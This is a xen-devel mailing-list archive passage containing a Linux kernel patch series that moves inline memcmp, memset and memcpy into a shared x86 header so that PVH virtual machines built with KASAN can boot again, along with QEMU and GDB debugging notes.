	id 1wn2cD-0007Hq-6i; Thu, 23 Jul 2026 23:14:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369667.1618228; Thu, 23 Jul 2026 23:14:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn2cD-0007Hi-31; Thu, 23 Jul 2026 23:14:09 +0000
Received: by outflank-mailman (input) for mailman id 1369667;
 Thu, 23 Jul 2026 23:14:08 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wn2cB-0007G8-GZ
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 23:14:07 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wn2cA-00A9gi-Tq
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 01:14:06 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a62a006-e002-0a2a0a5209dd-0a2a45018e76-32
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:14:06 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a62a03c-5984-0a2a45010019-d561b338b136-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:14:04 +0200
Received: from 186-249-149-197.shared.desktop.com.br ([186.249.149.197]
 helo=[127.0.1.1]) by fanzine2.igalia.com with esmtpsa 
 (Cipher TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wn2c5-003dsJ-Kh; Fri, 24 Jul 2026 01:14:01 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Cc:To:Content-Transfer-Encoding:Content-Type:MIME-Version:Message-Id:Date:Subject:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Cc:To:Content-Transfer-Encoding:Content-Type:MIME-Version:
	Message-Id:Date:Subject:From:From:Reply-To;
	bh=d0FVmvd65yrgBbE0wWQoeos80sF0/H/6FJHVG2uoMBU=; b=QTV10rBcsgWFxojNjgOiwC30Zy
	tl5eh/xyGZLsORncifXEcb6rNqLsxbaHyRowcqFWzIQAvSE34RAHISSJq5hSayownHw/Rz8JzcVmB
	n2UOWSrzH1k2bPJMmT0mfNqiiRVoC9vFyT1wQ/9SmQ/NZb8KhE/5aK58UnI5soS/JRETpfIW+fJzY
	PIEZgmZucj72A9fKGKb4Y7HFHQnEXU5zwmNvmbxmMrqfi3MvuaAxdSZU4bYVBy5o2+w3l2MpwXY8m
	OEEsiCjes5uys6y+fBSob18hKK3+tyLTWG8sP+wtbEc5j/hI/sZ6s6GqN4YH62tynxaCPRFlTGNYp
	huwL+6Mw==;
From: Mauricio Faria de Oliveira <mfo@igalia.com>
Subject: [PATCH v8 0/4] x86/pvh: fix unbootable VMs again (PVH + KASAN)
Date: Thu, 23 Jul 2026 20:13:50 -0300
Message-Id: <20260723-pvh-kasan-inline-v8-0-c1f62c156f52@igalia.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-B4-Tracking: v=1; b=H4sIAC6gYmoC/33PTU7EMAwF4KuMsiYocX7csOIeiIWbOjMRQztqU
 QUa9e6ks2lRI5bPkj8/38XEY+ZJvJzuYuQ5T3noS2ieTiJeqD+zzF3JAhR4ZQHkbb7ID5qol7m
 /5p6l50QRMekWUJS128gpfz/It/eSL3n6Gsafx4VZr9N/sFlLJZG9DtZYGwO85jNdMz3H4VOs2
 gx7ASsCFAGiw7bpYkqeDoLZBAeqIpgitNwx+hA9RzwIdi/4imCLQEYr9gSOY3cQ3CZ4U+vgiuC
 AUgwYWm70QfCbgEpXBL9+QSEo67pEIR0E3AlQE7AIpikFyKnISf0RlmX5BX/QHUQ9AgAA
X-Change-ID: 20260422-pvh-kasan-inline-6efac77f1b27
To: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, 
 Borislav Petkov <bp@alien8.de>, Dave Hansen <dave.hansen@linux.intel.com>, 
 x86@kernel.org, "H. Peter Anvin" <hpa@zytor.com>, 
 Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, 
 Boris Ostrovsky <boris.ostrovsky@oracle.com>, 
 Jan Beulich <jbeulich@suse.com>, Brian Gerst <brgerst@gmail.com>
Cc: kernel-dev@igalia.com, linux-kernel@vger.kernel.org, 
 xen-devel@lists.xenproject.org, Mauricio Faria de Oliveira <mfo@igalia.com>
X-Mailer: b4 0.14.2
X-purgate-ID: tlsNG-d62444/1784848446-BDA7E757-180CE986/0/0
X-purgate-type: clean
X-purgate-size: 8045

[ v8: this series is now based on top of this patch:
  https://lore.kernel.org/all/20260723-x86-memcmp-asm-v2-1-d93ecb43797f@igalia.com/ ]

The issue of unbootable VMs with CONFIG_PVH due to CONFIG_KASAN is back.

Booting directly from vmlinux (instead of bzImage) now fails with gcc-14/15
(but works with gcc-12/13) if CONFIG_KASAN_GENERIC is set, on Ubuntu 25.10.

The PVH code is required/supposed not to use the KASAN memory access check
in the kernel entry point as KASAN has not yet been setup, or an exception
is hit and the boot fails.

This was previously described and addressed with __builtin_mem{cmp,set}():
- commit 661362e3dcab ("xen, pvh: fix unbootable VMs (PVH + KASAN - AMD_MEM_ENCRYPT)")
- commit 416a33c9afce ("x86/cpu: fix unbootable VMs by inlining memcmp() in hypervisor_cpuid_base()")
- commit fbe5a6dfe492 ("xen, pvh: fix unbootable VMs by inlining memset() in xen_prepare_pvh()")

However, even with __builtin the compiler may decide to use the out of line
function instead of the inline implementation. So, that does not really fix
the issue unconditionally; see details below.

In order to address this, it's required to switch to inline implementations
that do not depend on the compiler.

There's such a memset() in <asm/string.h> and memcmp() in 'boot/string.c'.
Use them instead of builtins in PVH entry.

Testing:

- Booting from vmlinux (fixed) and bzImage (still works) using
  allnoconfig + CONFIG_PVH + CONFIG_KASAN with gcc-12/13/14/15.

- Building with CONFIG_KEXEC_FILE, CONFIG_CFI and !CONFIG_KASAN with LLVM 20
  (check for a build error not caught previously).

Details/Debugging:

- Only CONFIG_PVH (works):

  make allnoconfig
  ./scripts/config \
    -e 64BIT -e HYPERVISOR_GUEST -e PVH \
    -e SERIAL_8250 -e SERIAL_8250_CONSOLE
  make olddefconfig
  make -j$(nproc) vmlinux

  qemu-system-x86_64 \
    -accel kvm -nodefaults -nographic -serial stdio \
    -kernel vmlinux -append 'console=ttyS0'
  ...
  SeaBIOS (version ...)
  Booting from ROM...
  Linux version ...
  ...
  <Ctrl-C>

- With CONFIG_KASAN (fails)

  ./scripts/config -e KASAN
  make olddefconfig
  make -j$(nproc) vmlinux

  qemu-system-x86_64 \
    -accel kvm -nodefaults -nographic -serial stdio \
    -kernel vmlinux -append 'console=ttyS0'
  ...
  SeaBIOS (version ...)
  Booting from ROM...
  <QEMU reboot loop, flashing the text above>

- Debugging:

  Enable debug info and rebuild.

  QEMU: enable and wait for GDB, stop rebooting, remain running.

  qemu-system-x86_64 \
    -s -S -no-reboot -no-shutdown \
    <other options>

  gdb vmlinux
  (gdb) target remote localhost:1234
  ...
  (gdb) c
  ...
  Thread 2 received signal SIGQUIT, Quit.
  ...
  (gdb) info threads
    Id   Target Id                    Frame
    1    Thread 1.1 (CPU#0 [running]) bytes_is_nonzero (
      start=0xfffffbfff031eebe <error: Cannot access memory at address 0xfffffbfff031eebe>, size=1)
      at .../linux/mm/kasan/generic.c:98
  * 2    Thread 1.2 (CPU#1 [halted ]) 0x00000000000fd0a9 in ?? ()
  ...
  (gdb) thr 1
  ...
  (gdb) bt
  #0  bytes_is_nonzero (start=0xfffffbfff031eebe <error: Cannot access memory at address 0xfffffbfff031eebe>, size=1)
      at .../linux/mm/kasan/generic.c:98
  #1  memory_is_nonzero (start=0xfffffbfff031eebe, end=0xfffffbfff031eebf) at .../linux/mm/kasan/generic.c:115
  #2  memory_is_poisoned_n (addr=0xffffffff818f75f0, size=8) at .../linux/mm/kasan/generic.c:140
  #3  memory_is_poisoned (addr=0xffffffff818f75f0, size=8) at .../linux/mm/kasan/generic.c:172
  #4  check_region_inline (addr=0xffffffff818f75f0, size=8, write=false, ret_ip=18446744071585002062)
      at .../linux/mm/kasan/generic.c:191
  #5  kasan_check_range (addr=addr@entry=0xffffffff818f75f0, size=size@entry=8, write=write@entry=false,
      ret_ip=18446744071585002062) at .../linux/mm/kasan/generic.c:200
  #6  0xffffffff813eb283 in __asan_loadN (addr=addr@entry=0xffffffff818f75f0, size=size@entry=8)
      at .../linux/mm/kasan/generic.c:278
  #7  0xffffffff815df24e in memcmp (cs=cs@entry=0xffffffff818f75f0, ct=ct@entry=0x1be2fe4, count=<optimized out>,
      count@entry=12) at .../linux/lib/string.c:683
  #8  0xffffffff81ba2323 in cpuid_base_hypervisor (sig=0xffffffff818f75f0 "XenVMMXenVMM", leaves=2)
      at .../linux/arch/x86/include/asm/cpuid/api.h:206
  #9  xen_cpuid_base () at .../linux/arch/x86/include/asm/xen/hypervisor.h:46
  #10 xen_prepare_pvh () at .../linux/arch/x86/platform/pvh/enlighten.c:119
  #11 0x0000000001ba2588 in ?? ()
  #12 0x0000000000000000 in ?? ()
  (gdb)

  Frames #7-#8 show the non-builtin memcmp() (lib/string.c) was called
  even with __builtin_memcmp() being used in cpuid_base_hypervisor().

Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
---
Changes in v8:
- Patch 2 in v7 was submitted separately as requested, and the
  rest of this series was rebased on top of it (Borislav Petkov).
  Link: https://lore.kernel.org/all/20260723-x86-memcmp-asm-v2-1-d93ecb43797f@igalia.com/
- Patch 2 in v8:
  - Mention 'No functional changes' (Borislav Petkov).
  - Remove comment at the top of the header (Borislav Petkov).
- Link to v7: https://lore.kernel.org/r/20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com

Changes in v7:
- Patch 2 (added):
  - Address pre-existing issues in 'asm' (Borislav Petkov, Sashiko).
- Link to v6: https://lore.kernel.org/r/20260701-pvh-kasan-inline-v6-0-ba99045dfa9f@igalia.com

Changes in v6:
- Patch 1:
  - Explain the return value difference between __inline_memcmp() and memcmp().
- Patch 2 (added):
  - Group __inline string functions in <asm/shared/string.h>.
- Link to v5: https://lore.kernel.org/r/20260630-pvh-kasan-inline-v5-0-52afc979be81@igalia.com

Changes in v5:
- Create a minimal separate header in <asm/shared/string.h> instead,
  to be used by 'boot/setup.c' and <asm/string.h> (Borislav Petkov).
- Patch 1 (in v4/v3) is no longer needed; removed.
- Patch 1 (in v5):
  - Briefly mention there are issues with <asm/string.h>.
  - Remove 'Reviewed-by: Jurgen Gross' to be conservative
    (same code change and result, but the means changed).
- Link to v4: https://lore.kernel.org/r/20260526-pvh-kasan-inline-v4-0-a310e6a25ecd@igalia.com

Changes in v4:
- Patch 1: address Juergen's feedback:
  - s/In next patch/In a future patch/.
  - Move footnote (Reasons not to include...) after "---".
- Add 'Reviewed-by: Juergen Gross' in patches 1 and 2 as well.
- Link to v3: https://lore.kernel.org/r/20260520-pvh-kasan-inline-v3-0-bede769c6ec7@igalia.com

Changes in v3:
- Create and use a separate header for inline string functions
  to fix a build error reported by kernel test robot (patch 1).
- That also removes '#ifndef _SETUP/#endif' in <asm/string.h>.
- Link to v2: https://lore.kernel.org/r/20260427-pvh-kasan-inline-v2-0-2c57b8dcff6a@igalia.com

Changes in v2:
- Add comment about the return value of __inline_memcmp() in patch 1. (v3: now 2)
- Add 'Reviewed-by: Juergen Gross' in patches 2 and 3 (v3: now 3 and 4).
- Link to v1: https://lore.kernel.org/r/20260422-pvh-kasan-inline-v1-0-7e6194344c92@igalia.com

---
Mauricio Faria de Oliveira (4):
      x86/asm, x86/boot: expose inline memcmp()
      x86/asm: group inline string functions
      x86/cpuid: fix unbootable VMs by really inlining memcmp() in hypervisor_cpuid_base()
      x86/pvh: fix unbootable VMs by really inlining memset() in xen_prepare_pvh()

 arch/x86/boot/string.c               |  8 ++-----
 arch/x86/include/asm/cpuid/api.h     |  2 +-
 arch/x86/include/asm/shared/string.h | 43 ++++++++++++++++++++++++++++++++++++
 arch/x86/include/asm/string.h        | 21 +-----------------
 arch/x86/platform/pvh/enlighten.c    |  3 ++-
 5 files changed, 49 insertions(+), 28 deletions(-)
---
base-commit: 09d9763bb2726c49a219e34bf62cb15a5af84dd1
change-id: 20260422-pvh-kasan-inline-6efac77f1b27

Best regards,
-- 
Mauricio Faria de Oliveira <mfo@igalia.com>



From xen-devel-bounces@lists.xenproject.org Thu Jul 23 23:14:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 23:14:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369668.1618237 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn2cE-0007WM-Fl; Thu, 23 Jul 2026 23:14:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369668.1618237; Thu, 23 Jul 2026 23:14:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn2cE-0007WF-CU; Thu, 23 Jul 2026 23:14:10 +0000
Received: by outflank-mailman (input) for mailman id 1369668;
 Thu, 23 Jul 2026 23:14:08 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wn2cC-0007HT-OT
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 23:14:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wn2cC-00A9gi-5N
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 01:14:08 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a629fc2-e002-0a2a0a5209dd-0a2a4502ebd2-38
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:14:08 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a62a03f-6ca4-0a2a45020019-d561b338b144-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:14:08 +0200
Received: from 186-249-149-197.shared.desktop.com.br ([186.249.149.197]
 helo=[127.0.1.1]) by fanzine2.igalia.com with esmtpsa 
 (Cipher TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wn2cA-003dsJ-8L; Fri, 24 Jul 2026 01:14:06 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:
	MIME-Version:Subject:Date:From:From:Reply-To;
	bh=+Q2m+yozez2bdzT3Nq6OWg4kVQdgVnIRf7/C3OSAOVU=; b=lJASM5Ju6yF8L/0l8SfXkn0RQ+
	wNDcr8pEsU7VeTmV6+5Qu5HqMwyJFJi5MMj4O6RfC4gu8FdYieG8ie2ehWHrAspRtcLvQwYvGGHGw
	SrHbVJVyN/bVHCIer3pr/V6UzDihAPWkdU1wBT6NRdTmCpals98/WsC2OYIh1NqbXyOXeh1RbXZF4
	eEY0ZD1cqhk6SK4N5pW2g18ApStw1oUMh13D6h+kH0/sRtGloIhfmCuSE+LOKUOs8uAfI894zizlG
	8Ze0MKxcIheW85wpxeLqU4xxOpGMMiCLNnZarpbUFRyuyFsJ2z8de7DirX93lTRMJi14XXnDZnfuv
	PkDWYvmg==;
From: Mauricio Faria de Oliveira <mfo@igalia.com>
Date: Thu, 23 Jul 2026 20:13:51 -0300
Subject: [PATCH v8 1/4] x86/asm, x86/boot: expose inline memcmp()
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260723-pvh-kasan-inline-v8-1-c1f62c156f52@igalia.com>
References: <20260723-pvh-kasan-inline-v8-0-c1f62c156f52@igalia.com>
In-Reply-To: <20260723-pvh-kasan-inline-v8-0-c1f62c156f52@igalia.com>
To: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, 
 Borislav Petkov <bp@alien8.de>, Dave Hansen <dave.hansen@linux.intel.com>, 
 x86@kernel.org, "H. Peter Anvin" <hpa@zytor.com>, 
 Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, 
 Boris Ostrovsky <boris.ostrovsky@oracle.com>, 
 Jan Beulich <jbeulich@suse.com>, Brian Gerst <brgerst@gmail.com>
Cc: kernel-dev@igalia.com, linux-kernel@vger.kernel.org, 
 xen-devel@lists.xenproject.org, Mauricio Faria de Oliveira <mfo@igalia.com>
X-Mailer: b4 0.14.2
X-purgate-ID: tlsNG-720697/1784848448-670B02AC-7673CAE7/0/0
X-purgate-type: clean
X-purgate-size: 2320

Move the inline memcmp function currently only available in 'boot/string.c'
into the shared string function header <asm/shared/string.h> to be reused.

This is not done through <asm/string.h> to avoid pulling unnecessary code
in 'boot/string.c' that causes build errors in 'boot/compressed/string.c'
and 'purgatory/purgatory.ro'.

Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>

---

Thanks to David Laight for noticing the return value difference between
inline and regular memcmp().
---
 arch/x86/boot/string.c               |  8 ++------
 arch/x86/include/asm/shared/string.h | 22 ++++++++++++++++++++++
 2 files changed, 24 insertions(+), 6 deletions(-)

diff --git a/arch/x86/boot/string.c b/arch/x86/boot/string.c
index 6827551720dd9b96afe8c55a051401d6cdc6f05e..be454a6864225f3a972c3e81826b77ed4e8a57fe 100644
--- a/arch/x86/boot/string.c
+++ b/arch/x86/boot/string.c
@@ -15,6 +15,7 @@
 #include <linux/errno.h>
 #include <linux/limits.h>
 #include <asm/asm.h>
+#include <asm/shared/string.h>
 #include "ctype.h"
 #include "string.h"
 
@@ -31,12 +32,7 @@
 
 int memcmp(const void *s1, const void *s2, size_t len)
 {
-	bool diff;
-	asm volatile("test %3, %3\n\t"
-		     "repe cmpsb"
-		     : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len)
-		     : : "cc", "memory");
-	return diff;
+	return __inline_memcmp(s1, s2, len);
 }
 
 /*
diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
new file mode 100644
index 0000000000000000000000000000000000000000..66a446168fd1e9914b9e00540269f555abe4738d
--- /dev/null
+++ b/arch/x86/include/asm/shared/string.h
@@ -0,0 +1,22 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef _ASM_X86_SHARED_STRING_H
+#define _ASM_X86_SHARED_STRING_H
+
+/*
+ * This inline memcmp() returns 0 (equal) or 1 (not equal).
+ * The regular memcmp() returns <0 (less than), 0 (equal), or >0 (greater than)
+ * to indicate ordering as well.
+ */
+static __always_inline int __inline_memcmp(const void *s1, const void *s2, size_t len)
+{
+	bool diff;
+
+	asm volatile("test %3, %3\n\t"
+		     "repe cmpsb"
+		     : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len)
+		     : : "cc", "memory");
+
+	return diff;
+}
+
+#endif /* _ASM_X86_SHARED_STRING_H */

-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Thu Jul 23 23:14:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 23:14:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369673.1618246 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn2cJ-0007oy-Me; Thu, 23 Jul 2026 23:14:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369673.1618246; Thu, 23 Jul 2026 23:14:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn2cJ-0007or-Jc; Thu, 23 Jul 2026 23:14:15 +0000
Received: by outflank-mailman (input) for mailman id 1369673;
 Thu, 23 Jul 2026 23:14:14 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wn2cI-0007oF-Sm
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 23:14:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wn2cI-0056f5-9c
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 01:14:14 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a62a043-2eae-0a2a0a5409dd-0a2a4506af92-10
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:14:14 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a62a045-195a-0a2a45060019-d561b338e49c-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:14:13 +0200
Received: from 186-249-149-197.shared.desktop.com.br ([186.249.149.197]
 helo=[127.0.1.1]) by fanzine2.igalia.com with esmtpsa 
 (Cipher TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wn2cF-003dsJ-FF; Fri, 24 Jul 2026 01:14:11 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:
	MIME-Version:Subject:Date:From:From:Reply-To;
	bh=dAdbZ5UO2RrbRs396cB08KKrdlvaGcoVOWOuItnYYv8=; b=Q/xb8EIrwpYG0LaYCItdOI88rL
	D4MMVT60hHLH0XHUO26e7/osQFpdzWbLaC9oprLcSJy9TTOnI+dEqZ7GJqOpfando4KtpCY0AMlDE
	2wNOfdnuyWSJn9gOd1ZmXLgGK8dJTBy3w2fP/+Nm5U7s3Ir7ij54dxlGoiudzr31LFJIVMfLOeBNC
	VivGQOWI0P8i4U3NyEG9GGdLx0sJ9roNrmb1+KDBIs6kQWQ/sMKT6dI6/v8NBT2eIjrLrWrTWbR/E
	gs6Xsd8t52SxhIMaJyWes0MFqBqz8hz4XzNrH82lNVart4cpNKAxN+Wa8s7NROFwEpqZc2B2R9pif
	sPnAQUdQ==;
From: Mauricio Faria de Oliveira <mfo@igalia.com>
Date: Thu, 23 Jul 2026 20:13:52 -0300
Subject: [PATCH v8 2/4] x86/asm: group inline string functions
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260723-pvh-kasan-inline-v8-2-c1f62c156f52@igalia.com>
References: <20260723-pvh-kasan-inline-v8-0-c1f62c156f52@igalia.com>
In-Reply-To: <20260723-pvh-kasan-inline-v8-0-c1f62c156f52@igalia.com>
To: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, 
 Borislav Petkov <bp@alien8.de>, Dave Hansen <dave.hansen@linux.intel.com>, 
 x86@kernel.org, "H. Peter Anvin" <hpa@zytor.com>, 
 Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, 
 Boris Ostrovsky <boris.ostrovsky@oracle.com>, 
 Jan Beulich <jbeulich@suse.com>, Brian Gerst <brgerst@gmail.com>
Cc: kernel-dev@igalia.com, linux-kernel@vger.kernel.org, 
 xen-devel@lists.xenproject.org, Mauricio Faria de Oliveira <mfo@igalia.com>
X-Mailer: b4 0.14.2
X-purgate-ID: tlsNG-16d1c6/1784848454-F5C0F77B-012B5296/0/0
X-purgate-type: clean
X-purgate-size: 2271

Group the __inline string functions in the same header.

Use <asm/shared/string.h> since __inline_memcmp() must remain there for use
by arch/x86/boot/string.c.

No functional changes.

Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
---
 arch/x86/include/asm/shared/string.h | 21 +++++++++++++++++++++
 arch/x86/include/asm/string.h        | 21 +--------------------
 2 files changed, 22 insertions(+), 20 deletions(-)

diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
index 66a446168fd1e9914b9e00540269f555abe4738d..68b4e5a509d9758271bf203382b62dd0943274c8 100644
--- a/arch/x86/include/asm/shared/string.h
+++ b/arch/x86/include/asm/shared/string.h
@@ -2,6 +2,27 @@
 #ifndef _ASM_X86_SHARED_STRING_H
 #define _ASM_X86_SHARED_STRING_H
 
+static __always_inline void *__inline_memcpy(void *to, const void *from, size_t len)
+{
+	void *ret = to;
+
+	asm volatile("rep movsb"
+		     : "+D" (to), "+S" (from), "+c" (len)
+		     : : "memory");
+	return ret;
+}
+
+static __always_inline void *__inline_memset(void *s, int v, size_t n)
+{
+	void *ret = s;
+
+	asm volatile("rep stosb"
+		     : "+D" (s), "+c" (n)
+		     : "a" ((uint8_t)v)
+		     : "memory");
+	return ret;
+}
+
 /*
  * This inline memcmp() returns 0 (equal) or 1 (not equal).
  * The regular memcmp() returns <0 (less than), 0 (equal), or >0 (greater than)
diff --git a/arch/x86/include/asm/string.h b/arch/x86/include/asm/string.h
index 9cb5aae7fba9ffcf0f5af8f939d30467750ccaa9..dbf59f0d4cca71e2ddce0d8764aeec8782236669 100644
--- a/arch/x86/include/asm/string.h
+++ b/arch/x86/include/asm/string.h
@@ -8,25 +8,6 @@
 # include <asm/string_64.h>
 #endif
 
-static __always_inline void *__inline_memcpy(void *to, const void *from, size_t len)
-{
-	void *ret = to;
-
-	asm volatile("rep movsb"
-		     : "+D" (to), "+S" (from), "+c" (len)
-		     : : "memory");
-	return ret;
-}
-
-static __always_inline void *__inline_memset(void *s, int v, size_t n)
-{
-	void *ret = s;
-
-	asm volatile("rep stosb"
-		     : "+D" (s), "+c" (n)
-		     : "a" ((uint8_t)v)
-		     : "memory");
-	return ret;
-}
+#include <asm/shared/string.h>
 
 #endif /* _ASM_X86_STRING_H */

-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Thu Jul 23 23:14:21 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 23:14:21 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369674.1618255 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
